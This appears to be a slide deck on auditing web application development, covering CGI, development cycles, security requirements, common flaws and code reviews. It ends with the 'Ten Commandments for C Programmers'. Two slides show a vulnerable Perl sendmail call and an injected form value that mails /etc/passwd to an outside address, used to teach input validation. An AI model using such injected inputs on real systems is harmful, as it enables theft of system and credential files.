Auditing the Development of Web-Based Applications

1
Auditing the Development of Web-Based Applications

• Jian Zhen

2
Overview

• Overview of WWW and HTTP
• Web-based Application Concepts
• Overview of the Development Cycles
• Security Requirements
• Web-based Application Security
• Application Code Reviews

3
World-Wide-Web (WWW)

• Invented by Tim Berners-Lee and others at the
  European Laboratory for Particle Physics (CERN)
• Based on hypertext--a system of embedding links
  in text to link to other text
• The most popular way of linking to resources on
  the Internet

4
WWW (Cont.)

• Hundres of millions of pages indexed by search
  engines
• Tens of terabytes archived by Alexa
• Hundreds of millions users on the Web

5
WWW and HTTP

• Static Web Model

6
Common Gateway Interface (CGI)

• Common
• An open specification
• Many languages
• Gateway
• Strength is not in what is does by itself
• Methods to access other systems
• Interface
• Well defined way to call features

7
CGI (cont.)

• A way of providing dynamic web content
• Forms
• Counters
• Guest Books
• Database Queries
• Used by most of the web-based applications

8
The CGI Model
9
Web Applications

• Browsers
• Plug-ins
• Applets
• DHTML
• etc

• Server
• CGI
• Servlets
• ASP
• NSAPI

Internet
CORBA/ODBC
Static Pages
Database
10
Web Applications

• Client side
• HTML/DHTML
• JavaScript, VBScript, PerlScript
• Java
• ActiveX
• Plug-ins

11
Web Applications

• Server side
• Frontend CGIs (Perl, C/C), Java Servlets,
  ISAPI, NSAPI, ASP, etc
• Middleware CORBA, ODBC, DCOM, etc
• Backend Oracle, Informix, Sybase, DB2, etc

12
Web Applications

• Complex distributed, Client/Server applications
• Many elements involved and integrated
• Rapid development
• Requires more planning, design, and control than
  conventional projects.

13
Web Development Cycles
Analysis
Design
Prototyping
Implementation
Testing
14
Web Development Cycles

• Analysis
• Feasibility study
• Identify requirements
• Involvment your requirements

15
Web Development Cycles

• Design
• Design specifications
• Involvment system interoperability, resiliency,
  capacity planning, mature technologies, security
  design

16
Design Specification

• Business Requirement
• Existing and Proposed System Overview
• Hardware and Software Requirements
• System Schematic

• System Interoperability
• Operational cycle/Workflow System Modules
• Input-Output
• User Interface Prototypes

17
Web Development Cycles

• Prototyping
• Most time-consuming stage
• Coding
• Build, review, and refine prototype
• Involvement coding standards, effective
  application development environment

18
Web Development Cycles

• Testing
• Unit/System test plans
• Module/Unit testing
• System integration testing
• Involvement test plans, effective testing
  environment, testing stages, code reviews

19
Web Development Cycles

• Delivery/Implementation
• Install systems
• Train users
• Acceptance testing
• Involvement effective implementation

20
Security Requirements

• Privacy - All user information are protected
• Authentication/Access Control- Only authorized
  users are allowed to access the resources
• Integrity - User and application data cannot be
  tempered with
• Auditing - Keeping audit logs and audit trails
  and ensuring their integrity

21
Privacy

• Protecting users private information
• SSN
• Birthdates
• Employee Ids
• Passwords
• Technologies
• Encryption DES, RSA, SSL
• Local vs. Network

22
Authentication

• Proof of Identity
• Required to enforce access control and
  accountability, and achieve non-repudiation
• Technologies
• username/password
• Smart Cards, SecurID
• Biometrics

23
Access Control

• Determine who is authorized to receive or modify
  information
• Common mechanisms
• Mandatory Access Control (MAC)
• Owners cannot modify access list (SeOS)
• Discretionary Access Control (DAC)
• Owners are allowed to modify access (UNIX)
• Role-based Access Control (RBAC)
• Role granted provides necessary access

24
Auditing

• The process of collecting and recording
  security-relevant activities on a system
• After-the-fact technique
• Audit logs are used as evidence

25
Data Encryption

• Confidentiality
• Scrambling data to unreadable format
• Integrity
• User and application data are not modified
• Technologies
• Public/Secret Key Encryption RSA, DES
• Digital Signatures DSS
• Hashes MD5

26
Web-based Application Security

• Security flaws occur when software bugs allow
  violation of security policy
• Different security flaw present different threats
• Opening backdoors
• Stealing information or system resource
• Destroying or tempering data

27
Where Do Flaws Exist?

• Operating Systems
• UNIX, NT
• Support Software and Libraries
• Compilers, C Libraries
• Applications
• CGI programs, Netscape, Internet Explorer, vi,
  Emacs, Sendmail, many others

28
Web-based Application Security

• Different layers of security
• Network security
• Operating System security
• Web server security
• Application security
• MUST PROTECT ALL LAYERS!!!
• Rootshell gets defaced!

29
Web-based Application Security

• Common Security Flaws
• Insufficient Input Validations
• Memory Cleansing, i.e. Cookie deletion on the
  client
• Environmental Faults
• Buffer Overflows
• Race Conditions

30
Web-based Application Security

• CGI Programming Example
• What if we used this Perl code to send mail to an
  address given in a fill-out form?
• mail_to get_name_from_input read the address
• open (MAIL, /usr/lib/sendmail mail_to)
• print MAIL To mail_to\nFrom me\n\nHello\n
• close MAIL

31
CGI Example (cont.)

• Look at the open() call
• open (MAIL, /usr/lib/sendmail mail_to)
• What if the user entered
• jerk_at_nowhere.commail evilone_at_chaos.orglt/etc/passw
  d
• Look at the open again!
• /usr/lib/sendmail jerk_at_nowhere.com mail
  evilone_at_chaos.orglt/etc/passwd

32
Web-based Application Security

• Never Assume That
• The input to a field from a selection list will
  be one of the items on the list
• A browser will never send more than the maximum
  length of an input field
• The field in the QUERY_STRING variable will match
  the ones on the page
• The QUERY_STRING variable will correspond to
  something that is within valid HTTP specs

33
Web-based Application Security

• AVOID shell programming!
• Always use full pathnames for both commands and
  filenames, or explicitly set the PATH variable
• Dont depend on the current directory
• Use and check all return codes from system calls

34
Web-based Application Security

• Have internal consistency checking code
• Include lots of logging
• Review publicly available programs
• Review error logs
• Make the critical portion of the program as
  simple as possible
• Read through the code

35
Code Reviews

• Code Inspection
• Formal
• Walk Through
• Code Reading
• Informal

36
Code Reviews

• Code Inspection
• Formal code review
• Emphasize on defect detection, not correction
• Reviewers prepare beforehand
• Distinct roles are assigned

37
Code Reviews

• Walkthroughs
• Usually hosted and moderated by the author of the
  design or code under review
• To improve the technical quality of a program
• Emphasize on error detection

38
Code Reviews

• Code Reading
• Read source code and look for errors
• Comment on design, style, readability,
  maintainability, and efficiency
• Informal meetings
• Probably most common in web-based application
  environment

39
Appendix

• The Ten Commandments for C Programmers

40
The Ten Commandments for C Programmers

• Thou shalt run lint frequently and study its
  pronouncements with care, for verily its
  perception and judgement oft exceed thine.
• Thou shalt not follow the NULL pointer, for chaos
  and madness await thee at its end.

41
The Ten Commandments for C Programmers (cont.)

• Thou shalt cast all function arguments to the
  expected type if they are not of that type
  already, een when thou are convinced that this is
  unnecessary, lest the take cruel vengeance upon
  thee when thou least expect it.
• If thy header files fail to declare the return
  types of thy library functions, thou shalt
  declare them thyself with the most meticulous
  care, lest grievous harm befall thy program.

42
The Ten Commandments for C Programmers (cont.)

• Thou shalt check the array bounds of all strings
  (indeed, all arrays,) for surely where thou
  typest foo someone someday shall type
  supercalifragilisticexpialidocious.
• If a function be advertised to return an error
  code in the event of difficulties, thou shalt
  check for that code, yea, even though the checks
  triple the size of thy code and produce aches in
  thy typing fingers, for if thou thinkest it
  cannot happen to me, the gods shall surely
  punish thee for thy arrogance.

43
The Ten Commandments for C Programmers (cont.)

• Thou shalt study thy libraries and strive not to
  re-invent them without cause, that thy code may
  be short and readable and thy days pleasant and
  productive.
• Thou shalt make thy programs purpose and
  structure clear to thy fellow man by using the
  One True Brace Style, even if thou likest it not,
  for thy creativity is better used in solving
  problems than in creating beautiful new
  impediments to understanding.

44
The Ten Commandments for C Programmers (cont.)

• Thy external identifiers shall be unique in the
  first six characters, though this harsh
  discipline be irksome and the years of its
  necessity stretch before thee seemingly without
  end, lest thou tear thy hair out and go mad on
  that fateful day when thou desirest to make thy
  program run on an old system.
• Thou shalt foreswear, renounce, and abjure the
  vile heresy which claimeth that All the worlds
  a VAX, and have no commerce with the benighted
  heathens who cling to this barbarous belif, that
  the days of thy program may be long even though
  the days of thy current machine be short.